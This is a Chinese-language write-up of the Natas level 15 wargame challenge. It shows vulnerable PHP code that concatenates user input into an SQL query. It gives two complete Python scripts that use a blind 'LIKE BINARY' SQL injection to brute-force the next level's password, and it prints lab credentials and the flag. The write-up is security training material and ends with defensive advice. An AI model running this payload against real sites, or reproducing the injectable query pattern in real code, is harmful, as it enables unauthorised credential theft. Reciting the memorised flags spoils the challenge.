Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)
sourcecode核心代码:
1 <? 2 3 /* 4 CREATE TABLE `users` ( 5 `username` varchar(64) DEFAULT NULL, 6 `password` varchar(64) DEFAULT NULL 7 ); 8 */ 9 10 if(array_key_exists("username", $_REQUEST)) { 11 $link = mysql_connect('localhost', 'natas15', '<censored>'); 12 mysql_select_db('natas15', $link); 13 14 $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 15 if(array_key_exists("debug", $_GET)) { 16 echo "Executing query: $query<br>"; 17 } 18 19 $res = mysql_query($query, $link); 20 if($res) { 21 if(mysql_num_rows($res) > 0) { 22 echo "This user exists.<br>"; 23 } else { 24 echo "This user doesn't exist.<br>"; 25 } 26 } else { 27 echo "Error in query.<br>"; 28 } 29 30 mysql_close($link); 31 } else { 32 ?> 33 34 <form action="index.php" method="POST"> 35 Username: <input name="username"><br> 36 <input type="submit" value="Check existence" /> 37 </form> 38 <? } ?>
sql语句为:SELECT * from users where username="username";
可以注入,但注入成功后并不能实现什么功能。如果查询“成功”,仅仅会显示This user exists.查询失败:This user doesn't exist.或者“Error in query.”。不能直接显示Natas16的密钥。
联想到表中可能有名为Natas16的username,经测试为真。所以现在的任务就是获得表中Natas16的password。
如何才能将输出联系到password?这里仅有的输出只是用户名是否存在,更向上一步的说,是是否能够查询到记录。
既然select Natas16 是肯定成立的,又因为已知密钥的长度和空间(大小写字母和数字),可以通过and + like逐一探测每一位的密钥。
以下是python脚本:
1 import httplib2 2 from urllib.parse import urlencode 3 4 h = httplib2.Http() 5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' 6 h.add_credentials('natas15', natas15password) 7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123)) 8 password = '' 9 index = 0 10 headers = {'Content-type': 'application/x-www-form-urlencoded'} 11 while (len(password) < len(natas15password)): 12 forms = dict(username= "natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + " ;#") 13 print(forms) 14 resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers) 15 if ('exists' in str(content)): 16 password += basestr[index] 17 print(password) 18 index = 0 19 continue 20 else: 21 index = (index + 1) % (123-48) 22 if index == 0: 23 print('wrong!') 24 continue 25 print('password = ', password)
关于httplib2的说明:http://blog.csdn.net/five3/article/details/7079140
这里要注意几点:
1.urlencode已经不在urllib下了,需要使用urllib.parse.urlencode
2.mysql 查询默认对大小写不敏感,所以如果直接查寻会导致输出全部为大写或者小写。有两个解决方案。一个是使用BINARY将后面要查询的字符串转化为二进制。另 一个是使用COLLATE对指定排序。https://dev.mysql.com/doc/refman/5.7/en/binary- varbinary.html
3.POST也是先将数据进行URL编码然后发送,所以这里要用到URLencode。URL表参考:http://w3school.com.cn/tags/html_ref_urlencode.html
4.发送表单的话一定要把headers中的'Content-type': 'application/x-www-form-urlencoded'加上,因为服务器是通过这个判别body中的类型并进行读取的。(以后发现服务器没有读取body要先看看headers设置好没有)
另外还有一个思路,就是通过题目中留下的debug用GET进行注入与爆破:
1 import httplib2 2 from urllib.parse import urlencode 3 4 h = httplib2.Http() 5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J' 6 h.add_credentials('natas15', natas15password) 7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123)) 8 password = '' 9 index = 0 10 while (len(password) < len(natas15password)): 11 forms = dict(username="natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + ";#") 12 resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php?debug=1&'+urlencode(forms), 'GET') 13 if ('exists' in str(content)): 14 password += basestr[index] 15 print(password) 16 index = 0 17 continue 18 else: 19 index = (index + 1) % (123-48) 20 if index == 0: 21 print('wrong!') 22 continue 23 print('password = ', password)
这个时候就不需要设置Content-type了
总结:这个注入和往常的注入不同,往常的注入是通过插入 or 1等唯真式绕过认证。但这里并不是要绕过认证,而是通过注入将password与返回“用户是否存在”这一看起来没有泄露的信息绑定,最终暴力破解出用户密钥。由此可知,对用户返回的信息应当最低化(如返回用户或密码错误),对用户的输入应该做处理(如转义)。debug的时候留下的接口应该及时删除。
flag=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh